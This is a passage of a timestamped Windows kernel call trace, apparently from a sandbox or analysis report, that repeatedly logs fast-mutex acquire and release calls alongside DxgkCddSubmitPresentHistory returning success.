(FastMutex=0xffffe00001127c40) [0193.393] DxgkCddSubmitPresentHistory () returned 0x0 [0193.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.472] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0193.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.472] DxgkCddSubmitPresentHistory () returned 0x0 [0193.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.519] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0193.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.519] DxgkCddSubmitPresentHistory () returned 0x0 [0193.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.581] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0193.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.581] DxgkCddSubmitPresentHistory () returned 0x0 [0193.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0193.644] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0193.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0193.644] DxgkCddSubmitPresentHistory () returned 0x0 [0194.424] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0194.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0194.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0194.425] DxgkCddSubmitPresentHistory () returned 0x0 [0194.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0194.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0194.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0194.831] DxgkCddSubmitPresentHistory () returned 0x0 [0194.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0194.878] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0194.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0194.878] DxgkCddSubmitPresentHistory () returned 0x0 [0194.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0194.940] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0194.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0194.941] DxgkCddSubmitPresentHistory () returned 0x0 [0195.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.003] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.003] DxgkCddSubmitPresentHistory () returned 0x0 [0195.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.065] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.066] DxgkCddSubmitPresentHistory () returned 0x0 [0195.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.144] DxgkCddSubmitPresentHistory () returned 0x0 [0195.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.191] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.191] DxgkCddSubmitPresentHistory () returned 0x0 [0195.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.269] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.269] DxgkCddSubmitPresentHistory () returned 0x0 [0195.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.331] DxgkCddSubmitPresentHistory () returned 0x0 [0195.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.410] DxgkCddSubmitPresentHistory () returned 0x0 [0195.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.456] DxgkCddSubmitPresentHistory () returned 0x0 [0195.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.519] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.519] DxgkCddSubmitPresentHistory () returned 0x0 [0195.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.581] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.581] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.581] DxgkCddSubmitPresentHistory () returned 0x0 [0195.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.644] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.644] DxgkCddSubmitPresentHistory () returned 0x0 [0195.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.726] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.726] DxgkCddSubmitPresentHistory () returned 0x0 [0195.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.768] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.769] DxgkCddSubmitPresentHistory () returned 0x0 [0195.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0195.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0195.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0195.831] DxgkCddSubmitPresentHistory () returned 0x0 [0197.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0197.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.425] DxgkCddSubmitPresentHistory () returned 0x0 [0197.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.503] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0197.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.503] DxgkCddSubmitPresentHistory () returned 0x0 [0197.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.550] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0197.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.550] DxgkCddSubmitPresentHistory () returned 0x0 [0197.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.612] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0197.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.612] DxgkCddSubmitPresentHistory () returned 0x0 [0197.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0197.675] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0197.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0197.675] DxgkCddSubmitPresentHistory () returned 0x0 [0198.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.440] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0198.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.440] DxgkCddSubmitPresentHistory () returned 0x0 [0198.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0198.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.456] DxgkCddSubmitPresentHistory () returned 0x0 [0198.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.518] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0198.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.519] DxgkCddSubmitPresentHistory () returned 0x0 [0198.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.597] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0198.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.598] DxgkCddSubmitPresentHistory () returned 0x0 [0198.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.660] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0198.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.660] DxgkCddSubmitPresentHistory () returned 0x0 [0198.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.706] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0198.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.706] DxgkCddSubmitPresentHistory () returned 0x0 [0198.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0198.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.784] DxgkCddSubmitPresentHistory () returned 0x0 [0198.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.847] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0198.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.847] DxgkCddSubmitPresentHistory () returned 0x0 [0198.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.894] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0198.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.894] DxgkCddSubmitPresentHistory () returned 0x0 [0198.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0198.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0198.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0198.957] DxgkCddSubmitPresentHistory () returned 0x0 [0199.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.018] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0199.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.019] DxgkCddSubmitPresentHistory () returned 0x0 [0199.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0199.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.081] DxgkCddSubmitPresentHistory () returned 0x0 [0199.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0199.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.144] DxgkCddSubmitPresentHistory () returned 0x0 [0199.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.206] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0199.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.206] DxgkCddSubmitPresentHistory () returned 0x0 [0199.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.269] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0199.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.269] DxgkCddSubmitPresentHistory () returned 0x0 [0199.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0199.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.331] DxgkCddSubmitPresentHistory () returned 0x0 [0199.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0199.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.409] DxgkCddSubmitPresentHistory () returned 0x0 [0199.485] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0199.485] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0199.485] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0199.485] DxgkCddSubmitPresentHistory () returned 0x0 [0200.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.441] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0200.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.441] DxgkCddSubmitPresentHistory () returned 0x0 [0200.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.511] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0200.512] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.512] DxgkCddSubmitPresentHistory () returned 0x0 [0200.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.550] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0200.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.550] DxgkCddSubmitPresentHistory () returned 0x0 [0200.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.612] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0200.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.613] DxgkCddSubmitPresentHistory () returned 0x0 [0200.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0200.675] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0200.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0200.675] DxgkCddSubmitPresentHistory () returned 0x0 [0201.554] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0201.554] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0201.554] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0201.554] DxgkCddSubmitPresentHistory () returned 0x0 [0202.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0202.565] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0202.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0202.565] DxgkCddSubmitPresentHistory () returned 0x0 [0203.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.305] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0203.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.305] DxgkCddSubmitPresentHistory () returned 0x0 [0203.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0203.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.331] DxgkCddSubmitPresentHistory () returned 0x0 [0203.416] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.416] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0203.416] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.416] DxgkCddSubmitPresentHistory () returned 0x0 [0203.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.458] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0203.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.458] DxgkCddSubmitPresentHistory () returned 0x0 [0203.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.567] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0203.567] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.567] DxgkCddSubmitPresentHistory () returned 0x0 [0203.651] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.651] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0203.651] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.651] DxgkCddSubmitPresentHistory () returned 0x0 [0203.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.675] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0203.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.675] DxgkCddSubmitPresentHistory () returned 0x0 [0203.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.737] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0203.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.738] DxgkCddSubmitPresentHistory () returned 0x0 [0203.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0203.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.831] DxgkCddSubmitPresentHistory () returned 0x0 [0203.891] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.891] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0203.892] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.892] DxgkCddSubmitPresentHistory () returned 0x0 [0203.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0203.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0203.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0203.956] DxgkCddSubmitPresentHistory () returned 0x0 [0204.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.003] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0204.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.003] DxgkCddSubmitPresentHistory () returned 0x0 [0204.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.112] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0204.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.113] DxgkCddSubmitPresentHistory () returned 0x0 [0204.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.180] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0204.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.180] DxgkCddSubmitPresentHistory () returned 0x0 [0204.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.222] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0204.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.222] DxgkCddSubmitPresentHistory () returned 0x0 [0204.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0204.378] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0204.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0204.378] DxgkCddSubmitPresentHistory () returned 0x0 [0205.061] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.061] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0205.061] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0205.061] DxgkCddSubmitPresentHistory () returned 0x0 [0205.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0205.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0205.081] DxgkCddSubmitPresentHistory () returned 0x0 [0205.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.659] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0205.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.659] DxgkCddSubmitPresentHistory () returned 0x0 [0205.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0205.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.722] DxgkCddSubmitPresentHistory () returned 0x0 [0205.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0205.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.784] DxgkCddSubmitPresentHistory () returned 0x0 [0205.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.846] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0205.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.847] DxgkCddSubmitPresentHistory () returned 0x0 [0205.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.909] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0205.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0205.909] DxgkCddSubmitPresentHistory () returned 0x0 [0206.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0206.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0206.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0206.456] DxgkCddSubmitPresentHistory () returned 0x0 [0208.299] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.299] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0208.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.300] DxgkCddSubmitPresentHistory () returned 0x0 [0208.362] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.363] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0208.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.363] DxgkCddSubmitPresentHistory () returned 0x0 [0208.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.440] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0208.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0208.440] DxgkCddSubmitPresentHistory () returned 0x0 [0208.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0208.503] ExEnterCriticalRegionAndAcquireFastMutexUnsafe 